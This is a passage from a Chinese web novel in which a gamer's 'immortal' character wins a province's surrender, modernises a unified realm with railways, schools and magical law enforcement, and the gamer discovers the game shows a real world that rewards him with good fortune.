其实想想也合理。 攻打的话,只需要粮草军马实力跟上就行,但坏处肯定会损失不少建筑物和劳动力,但劝降就不同了,这可是无痛得到一大块土地,而且毫无伤亡,需要的属性肯定从各方面来说更高。 姜定好奇地点击前置事件,发现竟然有不少,譬如先前的瘟疫合作,沼气池合作,以及后续的收复明州,收复黎州,这些竟然均是前置条件,看来这选项要求确实高。 若非先前和幽州保持中立状态,就算是威望够了,估计也不能无伤劝降。 姜定没犹豫,直接点了个【劝降】。 坎城。 虞珠当晚便亲眼见到了那在黎、明二州闹得人人皆知的仙人。 和许多不曾亲眼见过仙人的人相似,虞珠甚至还在怀疑仙人到底是否存在,是不是某个术法高明的道士做的假象什么的。 但这点心思和怀疑在看到仙人的第一眼全部消失不见。 仙人真出现在她面前了。 而且无论是姿态亦或是神情,不用多想,定是仙人无疑。 毕竟就算是伪装,也得在人的想象之中,而眼前仙人外貌神态,全然超出人类所想。 浑身仙气缥缈,绝非等闲之辈。 仙人背后的金色蛟龙在虚空中游走,时不时就有摄人压力直逼她而来。 这让虞珠压力颇大。 等到仙人收了灵气后,她这才被对方容貌震撼,好在很快回神。 如今二州已定,虞珠实际上对仙人来访的目的有所猜测。 果然,等听完仙人话语后,虞珠微微沉默,陷入沉思。 无论怎么想,痛快投降,归顺仙人才是对百姓最好的方式之一。 但她辛苦多年,如今好不容易爬上一州掌管的位置,现在放弃,岂不是可惜了? 正犹豫时,仙人指尖微动,一抹银光钻入她脑内。 虞珠微微惊吓,等到脑内开始徐徐展开一幅幅真切发生过的明州画卷,以及那刚收纳的黎州画面时,虞珠不自觉想看得清楚。 等看到其内百姓安居乐业,素日里既能吃饱穿暖,又能读书认字,神态轻松,步态轻盈,面庞充斥着对未来的盼头和希冀后,她难得沉默。 ——这种状态,和她见到过的百姓状态完全不同。 说实话,除了仙人能做到这事外,别的任何一位统治者,都是做不成此事的。 她脑内不断划过幽州百姓麻木的面庞,再和这些画面中的百姓对比,更显得幽州百姓可怜数分。 最终,虞珠叹息归顺。 “虞珠,在此归顺仙师,愿仙师给予幽州百姓同样的庇护!” 话音刚落,她便觉得浑身涌过一股暖流,过往的陈年旧伤都被滋润愈合,整个身体像是得到了某种加强。 虞珠:!!! 这究竟是何法,只是归顺便能获得仙人的赐福? 不等她继续开口,便听那仙人道: “从今往后,你便管理幽州,但总体调配依旧要听从方知意的调度,至此,大炎一统。” 虞珠想张口说些别的,比如只是她同意了,但还需要将此事告知旗下将领等等。 但不等她开口,仙人身影突然迅速上升,而后在坎城最高处,将先前那话传递到幽州每个角落。 不知道这到底是什么仙法,但凡是幽州人士,无论身在何处,无论是否读书认字,都能将这话的意思听得清楚。 这声音极其霸道,压根不给众人别的思考空间,在重复三遍后消失不见。 但令人惊诧的是,每个人都同步看到了如今明州,黎州二州百姓过着怎样的生活,即便是有人不同意,不乐意,也抵挡不住民众们想要过得更好的心思。 百姓在没看到好日子前,还能忍着,劝自己大家都是这么过的,现在看到其余两州的百姓生活逐渐走上正轨,单独落下自己,逆反心思就上来了。 凭什么人家能过好日子?他们也要过! 一时间,立马有大家族话事人,高官们纷纷前往虞府,试图阻止一统,但这些人在到了地方后,却均被虞珠差人捉拿送至牢房。 实际上,她早就想这么做了,只是先前根基不稳,恐要生事,现在既然归降于仙人,又被仙人亲口委以管理幽州的重任,自然先从过往最看不过眼的地方开刀。 在仙人诏告幽州时,原先读过从明州来的画册,话本子的百姓们个个冲着自家的小像跪拜。 这些可都是仙人的忠实信徒,早些时候就想着让仙人攻下幽州,将他们也纳入庇护,如今总算成事! 原本他们还想着离开家乡,逃到明州求个安稳,但迫于先前黎、明二州斗争,只能将此事暂时搁置,谁能想到,自家竟然也被顺利纳入仙人旗下了! 底层百姓接受度良好,甚至期待着从明州赶快过来人接管幽州事务,而幽州的大户们,这些切实利益受损的人则决定联合起来反抗。 不过这反抗压根没用,不说从明州赶来帮扶官员武器有多强悍,单论给这支队伍出力的死士本身就动摇了。 ——谁也不是有毛病,放着好日子不过去当死士,原先是没活路,如今前路光明得很,谁还疯了去当什么吃力不讨好的死士,再说了,这可是和那位仙人对着干呐! 先不说从话本子中了解到的仙人神通,单论劝降当日,仙人降下仙音,让他们看到仙影,知晓幽州外百姓过着的到底是什么生活,这等手段,还不能说明仙人无所不能? 更别提还有明州戏班子,说书人,这些人还会来幽州这边说书,唱戏,都唱仙人的好,唱仙人的慈悲,唱仙人呼风唤雨,移山倒海。 又唱仙人旗下的百姓,唱他们温饱无虞,又唱那明州苍生安定,万民安乐。 这戏曲唱得幽州百姓心头滚烫,又不自觉擦了一把泪。 ——不知道这眼泪到底为何而流。 可能是为自己,为自己何其有幸能赶上这样好的盛世。 日后不仅仅他们能饱食暖衣,日后他们的孩子,他们孩子的孩子,也能过得有个人样。 幽州的归顺进度比想象中快许多。 首先因仙人曾亲自出面,所以民众反抗意识几乎没有。 再其次,内部争斗混乱,但大都组织不起来就被虞珠差人处置。 最后,明州派了官兵过来协助虞珠管理幽州,致力于按照黎州的发展顺序先后发展幽州。 当然,幽州的盐,铁,矿石资产全部归属于官府,直属于仙人。 而目前的话,最高指挥使依旧是方知意。 而幽州的财库除了留下一部分地方份额外,其余全部收回,由中央统一调配。 说来有趣,幽州虽投降在后,但因先前沼气池铺设完毕,如今铺设自来水,铺设蒸汽机械速度倒是要比黎州快一些。 幽州人又出了名的有力气,在接受完扫盲班的熏陶后,这些人投入生产建设的速度很快。 丛喜先前在幽州一县域,合县吃了亏。 那地被流寇占据,其内秩序全无,混乱无比。 他早在回来后便将合县的危险性标记在驿站地图上,来往跑商的人都知晓合县危险。 但因当初合县并非他们能伸手去管的区域,只能暂时放任不管。 虽说他也试着将合县消息传递到坎城,看看有没有人能处理合县混乱。 但此事迟迟没有解决,当初丛喜只是单纯地觉得幽州办事效率低下,但在之后,他慢慢了解到,不是办事效率低下,而是其内复杂,虽说是个小县域,但若想动手,考虑的东西却很多,左右忌惮,自然无法拯救那合县百姓。 虽说无奈,但丛喜只能慢慢将此事抛在脑后,现在幽州也归顺于仙师,他不自觉又想起那合县一事。 心想要赶快将此县的烂事告知上级,结果被告知此事早就了结。 丛喜微愣,从管事人那儿借了合县事件的帖子记录。 其内写得清楚,在幽州归属仙师的那一天起,明州便派军前往,因先前就重点观察过合县,自是在前往路途顺手将合县解决。 负责支援的是慎刑司的寻宁带队。 丛喜对这位女侠有些了解,但不多,只知道对方是个嫉恶如仇的性子,再想想合县内部混乱情况,他几乎可以料想当日发生了什么。 打开册子一看,一行行文字触目惊心。 “合县境内,吏治崩坏,官署为流寇所据,法度荡然。境中饿殍载道,民不聊生,竟至人相食,白骨盈野,号哭震天,惨绝人寰。 臣途经其地,目不忍视,心不能平。此辈贼寇,祸乱疆土,残害生民,罪在不赦。当即挥师,尽数诛除,廓清妖氛,复还秩序。 今凶寇已灭,地方粗安,庶民得脱虎口,重获生机。谨此呈报,载入档册,以记其事。”《 》 350-353 第351章 新气象 丛喜愣神,——竟然这么快? 本以为起码也得慢慢才能轮到处理合县一事,此地不过是一小县域而已,又不是什么大城,不至于说刚有问题就立即被带队处理。 但实际上,这响应速度远超他预料。 甚至慎刑司带队前往时,不需要采取任何上报,直接可按照自己判断处置合县那群流寇。 丛喜再次感慨,生于仙师庇护之下到底有多幸运。 若非仙师这样的,换做任何一统领,碰到这事,从上报到落地,期间需要花费的时间最快也是十来日。 十来日里,百姓又要遭多少罪,这些没人管。 而目前的话,全方面落实追责制度,有一套明明白白的系统体系。 但凡是超出底线的,可无需上报,迅速处置。 同时回去后需要记录此事,验证此事真假,如此才能被记录在册。 实际上,丛喜也知晓在仙师旗下生活有着别的统治者无法媲美的优势。 最关键的就在于仙师的誓言约束,过往回溯定责等非常规手段。 因术法约束,便导致从上到下全面实行廉政,而回溯定责又再次保障了不遗漏一个坏人,不冤枉一个好人。 只要是在律法允许的条件下,路见不平,即可拔刀相助。 若被救助之人有诽谤诬陷行为,两人则可前去官府定责。 若查出诬陷之罪,轻则罚款将之作为赔偿给付被诬陷之人,重则除了罚款还有牢狱之灾。 处罚严重,再加上仙人术法神通广大,只要是去了官府定责的,那都是百分百的公正,没有丝毫造假的可能和机会,久而久之,犯罪意愿大幅度降低。 且更何况仙人旗下,既可老实种地,靠贩卖作物赚钱,也可出去打零工,亦可努努力,进入工厂赚钱。 总归如今赚钱的方法太多,过往吃饱穿暖的水平放到现在压根就是基础,人人都追求过更好的生活,谁都不乐意落下。 自三州一统后,明州逐渐有话事权中心的倾向,而黎州和幽州两地的发展完全卯着劲,拼命跟上。 现如今,二州扫盲班建设完毕,已经有一批批百姓从扫盲班毕业。 两州主干道和次干道的道路铺设完成,来往通行车马顺畅无比。 除却各州道路建设外,自有一条路直通三州。 道路铺设采用水泥地建设,风吹雨淋都不坏。 除了修路外,两州同样建立起数个工厂,专供百姓们衣食住行等方面。 招收自然以匠人优先,因有律法明文规定,最低日薪为一百文,但凡是有低于最低日薪,亦或是不给结算工资的,可前往官府报官,会在两日内对此事做出裁决,绝不拖延。 一开始还有人质疑,但真等用上了,别说两日,在当天相关店铺就被处罚,不仅仅补足了工资,还多赔了一倍算作补偿,且店铺还额外得了个封店七日的处罚,以儆效尤。 不说多给赔偿一事,单论封店七日这处罚可太狠了。 如今正是迅速发展阶段,这开店的可谓是一天一个变化,你关门一天两天就算了,连着关七日,还怎么吸引新顾客,服务老顾客? 这刑罚下来后,原先也在法律边缘蠢蠢欲动的众人顿时回神。!!!绝对不能试图挑衅律法啊,这么严厉的处罚谁能受得了! 此类事件大都发生在律法初步运行阶段,毕竟很多人不太了解这律法的落实到底有多严格,大都抱着侥幸心理。 但真等到触碰到律法,被逮捕后罚钱,坐牢等等后,无论是亲身经历亦或是看周围人的遭遇,众人逐渐心生畏惧。 ——啊,别的不说,这到底是怎么运行的? 明明干得很隐蔽啊,但怎么就被逮着了? 等到人从官府转了一圈,罚完后送回来,大多数人终于信了是仙法监控的缘故。 举头三尺有神明。 现如今这话可不是说说而已。 那可真有严密的仙法在头顶,时刻监控着违规行为,轻则罚款,重则坐牢亦或是被流放,被杀死,这都不是空穴来风,而是确实存在的。 至此,仙法的威慑力迅速提升,犯罪率再次到达新低。 也有人抱怨仙法管控严密,仿佛时刻处于他人眼皮子底下,毫无隐秘之事。 这说法还沸沸扬扬过,但很快就被报纸严密抨击。 “心正者无惧天察,心邪者方怨无隐。” 报纸的态度就代表官府,代表方大人,代表仙师的态度。 这意思很清楚了,这监察术法管控的是全部百姓,而只有在超过律法界限后,才会处以刑罚,才有处罚回溯一说。 若是正常生活做事,并不会有此困扰。 因有仙法监察,如今世道太平程度远超过往任何时期。 利弊一对比,绝对是利大于弊。 更有甚者言辞激烈。 直言道,除非欲行不轨之人会介意这监察仙法,否则,从广义角度来看,这监察仙法对于想要老老实实过日子的人才是最好的保护。 很快,赞同支持的言论迅速超越少部分的质疑言论,再加上靠此监察仙法,不仅仅破除了多起纠纷繁杂的案子,也同样护住了许多人的安危,综合对比,社会治安度上升绝对是此法功劳。 如今报纸直供三州,每个县域都必须开设一家报纸,以供百姓阅读当日最新消息。 因三州之间多少还是有距离存在,所以每个城内都需特派一名通讯道士作为传递。 不过好在这种岗位上的通讯道士大都是历练一年,也不会耽误修行。 说到修行,先前景旭宫几乎是全军覆灭,内门弟子死伤无数,只有少部分外门弟子侥幸存活。 而这部分存活的景旭宫弟子第一时间被永道宫捉拿归案,在经过审讯,经过专门的监察后得出裁决处置结果。 对于作恶多端的,必须杀掉。 至于够不上杀头之罪的,则是优先充当苦力军,在服刑期满后,各项指标评估正常,不会对社会产生危害后考虑放出。 也有部分倒霉鬼,刚加入没多久的,亦或是加入许久但是不曾做过什么伤天害理之事的,则是押送牢内,外加罚款,若无力交付罚金,便一并被送去做劳工,直到刑满。 景旭宫的诸多建筑还在,宫内蕴含多样灵材灵宝,全部堆积在库房。 尤其是永道宫打开各个长老,还有那景旭宫宫主的库房,其内遍布稀缺材料,多是宫内多年经营所得。 仇师祖大概扫了一眼库房,心下惊涛骇浪。 除了震撼于景旭宫搜刮钱财的能力外,再度震惊便是因为库房内存在着诸多人骨制作而成的器材,还有利用多种邪神之法,用人体所做的奇诡道具,数量之多,让人不免头皮发麻。 不仅仅是仇师祖,跟在他身后的几位长老也是瞪大双眼,而后个个愤慨景旭宫不当人。 “作孽啊,他们这是杀了多少人!幼童,身怀六甲的妇人,刚生出的孩童,这这这实在是非人之事啊!” 众人痛心疾首,其内惨状让人不忍多看。 好在仙师出力,将此等漠视性命的邪道击杀,不然的话,还会有多少人受灾受难? 又有多少人要惨死于景旭宫之手? 如今既然景旭宫已经覆灭,他们理应为这些惨死之人行圆满之法,超度亡魂。 于是大批量的人骨制品,邪教诞生品被拿出来,堆成小山一样高,仇师祖连同几位长□□行超度之法。 “诸魂安息,早脱苦海,往生福地。” 念咒后,眼看那火焰“噗嗤”飞涨,窜出去十来米高,火舌滚烫,却不肆虐逼人。 像是一抹安静流淌的黄红色泉水,慢慢烧旺,又慢慢烧灭,留下一地灰屑。 ——安息吧,安息吧,冤骨得安,魂归正道,来世再投善缘。 那灰烬又被风吹起,吹散到各地,吹散到新法遍及之地,吹散到三州,遍布这仙庇之地。 数月后,第一条贯穿幽州,黎州,明州的超长距离铁轨修建完毕。 每个城,每个县都预留了蒸汽火车站台,以供乘客运输,亦或是货物运送。 明州百姓早就看到过蒸汽机,所以对此事接受度良好,而幽州,黎州二地百姓是头一次见到这蒸汽火车,个个稀奇得紧。 “这何谓蒸汽机械火车啊?” “啧,去站台看看呗,听说目前这火车就停在站台那儿。” “我刚看过了!那可真是钢铁巨兽啊!火车又高又大,后面还有车厢,我在下面看了一眼,那里面座位可是一个靠一个的,车上玻璃透亮,座位看着坐着应当舒服得紧!” 因扫盲效果好,如今三州大家都对新材料,水泥,玻璃等物接受度良好,又因价格便宜,效果还好,这些新事物接受度很高,大部分都想买点回去改善家居环境,但只因目前这些材料优先供应于建筑民生行业,大部分时候,私人购置还需要抢。 听说火车采用玻璃装置,众人兴奋度高涨,推搡间前后去了那站台,想亲眼看看蒸汽火车到底什么样。 等到亲眼看到了,各个震得瞪大眼睛,说不出一句话来 这居然这么高,这里面的管路线路咋看着这么多? 哦,这这这开火车的还是个小娘子,瞅着年纪不大,穿着衣服倒是精干利索。 又听人说这开火车的门槛很高,日薪高达五百多文。 众人震得嘴巴半天合不拢——所以这小娘子薪资这么高?这可是比好几个成年男子的薪资还要高了! 除了男子惊诧外,前来看热闹的年轻小娘子也心潮澎湃。 同样身为女子,对方居然能开火车,竟是这样的有能耐! 这些年轻小娘子本就在仙师统治后有幸上了学,如今看到这活生生的,从学堂走出去的优秀小娘子,一时间心口发烫。 ——我也要像她一样,这样骄傲神气,这样英姿飒爽! 作者有话说: 大家除夕快乐呀,作者君比较i人,再加上不愿意在作话写文章之外的东西打断阅读体验,所以很少写作话,总之很感谢大家长久的陪伴,可以在这章留评,作者君看到会发个小红包,预祝大家新春快乐,新的一年开心健康,幸福美满! 第352章 真假游戏 这条贯穿三州的铁轨奠定了运输乘客和运输货物的基础。 自从铁轨建好后,最遥远的幽州和明州两地的百姓也可以往来了。 再加上节假日拜亲访友,这乘车人数少不了。 以往从最远的幽州池城出发,到达明州的风仙县,若是坐马车的话,大概需要小半个月的时间。 还得是选择耐力好,速度快,载客量小的马车。 如今这蒸汽火车开通后,原先小半个月的路程,只需要两天即可到达。 有不少人并不相信——这火车怎么可能走这么快,这莫不是吹牛? 但很快就有人前去实践,大都是本地想去风仙县参观的人,看看那边如今发展到什么样子,以及那边的经商到底怎么做,试图学点新奇的东西回来。 还有就是求学之人,这部分原先就读过书,无论是文学素养,还是算数实力,要远超于普通百姓。 在接受过扫盲班的熏陶,又看到这学堂读书的必要性,先后迅速从初级和中级学堂晋升,直奔高级学堂。 因幽州和黎州二地刚起步发展,高级学堂也还在建设中,所以他们这才不远万里前去明州风仙县的高级学堂求学。 最重要的是,他们也想借这求学机会,前去风仙县观摩一番。 不论是何原因,众人齐聚站台,按照那上面写的时刻表等着火车过来。 眼看到了点,远处传来一阵震耳的鸣笛声,这声音越来越近,同时伴随着排气的嘶嘶声,迅速前进,车轨在震颤,一时间惹得众人心跳得飞起。 虽说被隔离在栏杆外,还排着队,但却不约而同伸长脖子去看这蒸汽火车。 只见黑铁巨兽,黄铜点睛,浓烟蔽日,白汽蒸腾,第一眼就让人觉得心神震撼。 火车停下后,又有穿着专业制服的人下车过来验票,维持秩序,乘客们眼带好奇,个个乖顺的进入车内,按照票据上的数字寻找自己的座位。 这火车座位是一人一座,不超售。 因是第一站的原因,还有不少空座。 有人便好奇。 “这么多空座,当日我买票时,那售票之人却告诉我最后一张票了。” 也有人见多识广,慢悠悠开口。 “非也。这些空着的座位定是给后续站点留的位子。我们池城属于幽州境内的第一站,最后一站是风仙县,这火车路过别的站台,也定是要停留接上人再走的。” 这说法十分合理,围观群众恍然大悟。 果然,在下一个站点时,陆陆续续又上来了一批人。 火车继续往前走,这空位便越来越少,直到车厢坐得满满当当。 先前说过话的人又开口道:“想来这铁轨修建相当不容易,听说修建时用了几十车火药炸开挡路的山堆,这才能最大限度的开辟出一条最短路径出来。 这火车窗户都用的是玻璃,依我看,大伙可以隔着窗户看看外面风景,也不要浪费这票钱。” 众人心道是这个道理啊! 毕竟他们也是普通人,过往一是没钱,二是害怕危险,很少出远门,如今坐在这火车里,最大限度地保证安全,一时间确实生出了要好好观摩一二的想法。 顿时将视线挪到窗外。 透过透亮的玻璃,众人能很清楚地看到外面的风景。 如今处于春季,草木丰盛茂密,嫩绿色的枝芽在风中飞舞,看起来的确赏心悦目,且修建铁轨为了防止扰民,都修建在较为偏僻的地方,这样的地方自然风景是独一份的美。 一时间,车厢里充斥着惊叹。 伴随着火车前进,这风景又不断变化。 不少人看得津津有味,等到吃饭时,各自拿出来自己带的干粮。 就着一点凉水喝。 也有条件好些的,能买得起,买得到从明州过来的保温杯的,此刻就能喝点珍贵的热水。 不过没过多久,倒是有穿制服的火车工作人员走过车厢,挨个传话。 “有想要喝热水的,来前面的车厢领取,还是排队挨个来!” 众人面面相觑,这竟然还给提供热水呢! 于是挨个排队去领了,等到入口就发觉这味道有些甜不甜,咸不咸的,甚是好奇。 其中有接受过新兴的医学教育的人一喝便知晓——这不就是先前在书本里看到过的电解质水! 当然,用他们的说法,这叫做生津汤,可以有效缓解长途坐车带来的不适感。 倒是没想到火车上竟然这么贴心,竟然是连这生津汤都给提供! 既已知晓,谁能忍得住,立马将此水的妙用一一告知乘客,众人瞪大眼睛,忙将得的那碗水饮尽,也不知是心理作用还是这见效就是这样快,喝完了竟是觉得浑身舒爽无比。 这一路的体验堪称完美,就是两天两夜坐着有些累人,但和坐长途马车相比,这点路途劳累根本算不得什么,毕竟坐火车是稳稳当当的坐着,空间大,而坐马车还得颠簸,空间又小,两者一对比,肯定还是火车更舒适。 等到地方,众人下了车,开始抬头,打量着这城门。 ——风仙县?! 不是,这县看着好大啊,吊打县级不说,至少得和普通城池一个大小了! 等在城门口接受盘查进了城门,看到那宽阔的路面,来往的马车,一堆又一堆的人流,众人瞪大眼睛。 ——这看着比他们池城建设得好多了! 城门口有不少规矩停放的马车,此刻看到他们走路进来,便过来询问是否要坐马车前去高等学堂。 几人有些警惕,多觉得外乡人容易被骗,等对方爆出一个合理的价格后又愣了——别说,这价格还挺合适哈 马车带着他们前往目的地途径小巷,几人又发现,这风仙县居然连小巷都用水泥铺设好了,不像是他们池州,目前暂且只铺设了主干道和次干道,别的地方还处于正待铺设阶段。 且途径这里的居民住所,发现这边个个修建得得体,不仅仅都刷了白墙,还换了玻璃,门口还种植着花草,看着像是专门设计过的,最要紧的是这些看起来都不像是本地大户,毕竟从中出来的百姓穿着打扮都比较朴素。 几人心生震撼。 不说特意去逛,单是前往高等学堂的路途上,就很明显地发现了本地和池城的区别。 ——更干净高效,更热闹,有规划,且民生基础更为完善妥帖。 现如今,即便没等进入学堂,几人也是十分期待日后能从这风仙县习得后回归池城,为自家城池做贡献,要赶快追上风仙县的进度才是。 于是他们和过往行人一样,真心实意露出了笑。 万物生长,百业俱兴,这天下,正一日好过一日 与此同时,姜定的电脑突然蹦跶出来一张新的CG提醒。 【盛世新篇】。 本还在沉迷于全地图搞基建,四处花费银两建东建西的姜定一愣。 啊——这CG,是不是意味着他快通关了? 一时间,不知为何,姜定居然有些不舍。 虽说这游戏有时候确实坑爹,不当人,但谁让游戏内设计太真实,好几次看CG给他看得眼睛发酸,再加上基建,种田设计得十分真实,自由度十足,一时半会感觉到游戏进程可能接近尾声时,姜定还是难免心底空空的。 唉,也不知道之后官方还会不会继续更新游戏内容 恰好先前推荐他玩游戏的好友游戏账号弹过来一个勋章提醒——竟然通关了! 靠,这人通关这么快!还以为他是气运之子,打一遍就能到达这程度,没想到山外有山啊! 姜定酸溜溜戳开好友的对话框。 “手速这么快?我才刚打到【盛世新篇】,你小子都通关了!” 对方显示正在输入中,随后发过来一个“?” 姜定:??? 不等他疑惑,对面继续回复。 “哪有这剧情啊,你自创的?” 姜定沉默,姜定委屈,姜定无语。 怒而截屏将自己的CG界面发过去给好友看。 结果对方的回复让姜定不自觉拧起了眉头。 ——“我靠,你P图技术上涨啊!我差点以为这是什么新出的游戏呢!” 事已至此,姜定总算察觉到微弱的不对劲。 他没再和好友继续聊天,而是颤抖着手,去搜索引擎界面搜索【大炎种田】相关词条。 结果等点进去,看到那质朴简单的画风后,姜定心里直突突。 又安慰自己。 不会的不会的,这铁定是官方恶搞,试图用简陋的画风给玩家虚晃一枪,让玩家进入游戏后能体验到绝佳的视觉盛宴。 但等搜遍全网的攻略视频,介绍视频,甚至这游戏买的软广,他发现这这内容没有一毛钱相似的地方啊! 这个【大炎种田】虽说玩法还不错,但和他玩的那种超高真实度的游戏相比,货比货可扔啊! 又再次确定自己没看错游戏名,姜定陷入沉思 等等,万一他玩的是盗版呢? 虽说这猜测连他都不信,毕竟谁家盗版做得比正版还要好来着!话说,他是正经平台买的游戏啊! 抱着最后一点挣扎,姜定又去搜索“大炎种田盗版”“大炎种田盗版比正版体验好什么原因?”“S平台买到盗版软件是啥意思”,结果搜索出来的东西自然是和他玩的这东西毫不相干,偶有盗版,那粗制滥造的画风让姜定秒退吐槽UP主的视频。 ——啊这对吗?如果说网上这些才是【大炎种田】,那他这些天都玩的是哪个【大炎种田】啊! 姜定实在是没法了,在【大炎种田】相关话题下开贴子求助。 “各位大佬,有没有一种可能,在S平台上买到了这游戏的盗版,而且盗版体验还极其好?” 这游戏目前很受欢迎,几秒后就有人回复。 “哈哈哈又玩疯一个。” “有多好?” 姜定斟酌着回复“大概吊打正版吧。” 然后得到了新回复。 一个绿色青蛙指脑袋表情包,附带一个地址定位。 ——是全国最有名的精神病医院地址。 第353章 明了 看到回复后,姜定沉默。 ——不是,我说真的啊!这怎么真话还没人信了? 眼看从论坛里得不到他想要的信息,姜定只能再次进入游戏内,自己试着去发现探索。 等到一进去,先被满屏挤着的密密麻麻的小人震撼到了。 定睛一看,这些小人面朝着的方向很统一。 姜定扫了一眼,发现这些人注视着的地方,看起来好像是一个雕塑。 点击鼠标,放大画面,直到放大到可以看清楚这雕塑面容的程度他才停下来。 只是越放大,姜定就发现一个问题——等等,这雕塑一颦一笑,无论怎么看都是主控模样啊! 虽说不是百分百相似,但这一眼看过去他也知道是主控! 因图片放得很大,姜定甚至能看清雕塑周围的布置。 庄严,条理,俨然是一副极为规矩的朝拜模样。 再往四周看一眼,甚至能看到附近的穿着专门仪式服饰的人。 姜定不自觉瞪大了眼睛。 后知后觉发现一件事。 按道理来说,这样的大场景不会对每个人的刻画如此生动具体,即便是有实力的游戏公司,也只会挑几个有特色的NPC用来让主控点击互动,而不是每个人都有不同的动作。 最重要的是,目前看来完全没有重复动作。 这是很不合理的现象,毕竟谁也不是钱多的烧,大部分玩家大概率连剧情都不看,一路快进而已。 即便是剧情党,游戏画面里有几个能互动的NPC已经是意外之喜了,哪像他现在看到的这样,这些肉眼看到的人神韵不同,动作各异。 俨然是一副现代版的清明上河图。 姜定又转动画面视角,甚至能清楚地看到每个人皮肤的纹理,眉毛的走向,甚至连嘴角干得起皮这没必要的细节都能看清楚。 简直不像是他这破电脑能带得动的画质。 事实上在先前姜定就察觉到了这游戏的不同,但他当初只以为是游戏优化做得好,可以让玩家以最小的代价玩到最高清的游戏画面,甚至期间他还感慨过好几次业内良心。 因为他不喜欢中间去查攻略,愣是一直没能发现这不同来。 现在仔细看的话,这种画质压根就不像是什么游戏优化的原因,更像是某种直播。 以他的电脑屏幕为直播显示画面,播放这些古人的朝拜过程。 神像巍然矗立,气象庄严。 四方百姓云集,静立无声。 一旁赞礼官扬声唱道: “朝拜尊神——就位!” 只见方知意一身藏青暗纹锦袍,头戴青缎小冠,拾阶而上,缓步走到神像之前。 轻提袍角,稳稳跪落,身后官吏、百姓紧随其后跟着跪下。 赞礼官高声: “一叩首——” 方知意伏身叩拜,声音沉冷庄重,传彻四野: “臣方知意,奉神恩治理此方,今率全境子民,拜于尊神神像之前。 昔年此地路有泥泞,民多愚蒙,女子无依,生计艰难。 赖尊神降世恩泽,开新路,筑明窗,兴学堂,许女子读书立身,轻徭薄赋,宽限工时,使万民饱暖,士庶安乐。” “再叩首——” “此等太平盛世,皆尊神一手开创。百姓安居乐业,老弱有所养,男女皆可为,户户有生路,家家有明光,此恩深似山海,万民世代不忘。” “三叩首——” 方知意双手伏地,深深叩首,再抬首时,目光沉定,语气肃穆: “今尊神功德圆满,将脱尘飞升,证就真仙之位。 臣与全境子民,在此恭贺尊神得证大道,位列九天,仙寿恒昌,万古长存! 此后此方山河,臣必誓死镇守,护佑生民,不负神之所托,不废神之所建。” 身后百姓跟着齐齐诵道: “恭贺尊神得证大道,位列九天,仙寿恒昌,万古长存!” 万人朝拜的大场景就算是游戏画面也足够让人震撼,更何况,眼前这一切真实得不像话。 姜定的指尖开始不受控的发抖,心脏狂跳,下一秒,新的游戏提醒弹跳出来。 【恭喜你达到了圆满结局——受万民敬仰,飞升真仙,获得“飞升成仙”CG。】 【你的民众满意值为100%】 民众满意值??? 因为先前电脑卡顿出BUG,姜定完全不知晓这玩意的存在,如今突然弹跳出来陌生提醒,顿时让他摸不着头脑。 但很快,下一句游戏提醒便打消了他的疑惑。 【满意值已为您替换成气运值下发,您目前的气运程度为“天命之子”。】 【天命之子:在此状态的庇佑之下,你会更容易获得天道的青睐,你会更容易成功,会更容易心想事成。(注:此效果存在时间为永久,但在作恶后会消失,请慎重规范自己的行为,不要让天道失望哦。)】 这新来的两句弹窗给姜定的大脑都干迷糊了,不等他将这话对应到现实,就听家里的电话铃响了。 接听后,是房女士兴奋的声音。 “儿子,知道不,那小坪村的拆迁项目黄了!” 姜定啊了一声,又听自家老妈继续说话。 “谁让他们村子非要违规加盖,超出预算太多了,据说是那大老板也不乐意了,所以黄了呗,然后啊,这拆迁项目就落到了咱们村里。 除了咱家的宅基地要拆,连带着土地也要一起拆了,说是以后国家要发展咱们这边,预算这次给得特别足,和上次性质不一样,听说每户补偿金额在一千万以上 还有咱家你爷去世前不是弄了个好几层楼的自建房,现在这房子能给咱家拆好几千万还不算我和你爸在村里的房子,还有咱家的地” 这么多??? 要知道先前小坪村的拆迁项目可完全不是这么写的啊! 还有就是他爷爷弄的那个自建楼住宿,本来是多年前听到消息,说是要发展这边,这才决定咬牙装修加盖的,本来说租给以后来工作的人,结果最后被忽悠,要命的是全家人为了还这笔债,也是苦兮兮还了好几年,好在是农村房子建起来不太值钱,但这也给老爷子气得够呛。 直到老爷子咽气前,这事在他们家都是不能提的禁忌话题。 姜定再看向游戏内弹出来的【气运之子】界面,心中又惊又喜。 ——话说,完全是在这玩意生效的瞬间,这卡顿的拆迁就动了。 眼看自家直逼一个小目标的存款,姜定感觉心跳得飞快,怎么也控制不住 所以说,他近些日子感受到的一切好运——出行全绿灯,中黄金,中稀有道具,中门票,中彩票,又中生活卡,还有这拆迁,全都是这游戏带给自己的变化? 搁以往,谁要是这么和他说,他铁定觉得对方看逆袭流小说看多了,但如今这不合理的一切就发生在自己身上,倒是给姜定弄得脑袋直发晕。 但事实就摆在眼前,只能是游戏带给他生活中的诸多变化,不然他一个倒霉鬼,怎么可能会有这么多不合理的好运? 姜定好不容易淡定下来,再次点进游戏。 游戏再度弹跳出新的提醒。 【您的游玩时间还有24小时,开始倒计时】 姜定大惊,实在是没想到这游戏居然真的要结束了。 ——等会,他得在游戏彻底关闭前,再去好好看看里面的人。 原先他只以为这些都是冰冷的游戏数据,虽然偶尔也会为其中一两个NPC的人生故事感动唏嘘,但大部分时候,他只注重效率,只顾着点击快进,只顾着种地,建造,收获,忙着升级,忙着四处溜达点击传送点,而不是慢下来挨个看看那些在他看来,自说自话的NPC到底在说些什么。 鼠标划过地图,姜定还是先选择进入主控初始地盘——潜灵山去看看。 画面里,集闻楼赫然矗立,一旁有专人负责维持秩序,只为了守护他当初图省事直接全部塞进去的那堆链接转化成的书本 这些人无不小心翼翼的借阅查看,如饥似渴,不知疲倦。 姜定嗓子有些干。 再次拉动鼠标,画面里的里正娘子正算着账,身旁还跟着好几个实习的小娘子,这些小娘子均是从高等学堂毕业,打算慢慢接手里正娘子的工作来的。 小娘子们脸庞带笑,认真学着,一旁的里正娘子轻声道。 “若不是仙师,我原先不过是一里正娘子,人人只记得我叫里正娘子,而不知如今的张英萃。 你们也要好生记着,如今能读书,能识字,能挺起胸膛,堂堂正正靠着双手,靠着学识养活自己,这都是仙师带给我们的,日后我辈当自强不息,不忘来时之路。 要努力向上,向外发展,让周围人记得你的名字,而非某某娘子。” 姜定被这话说得喉头微堵。 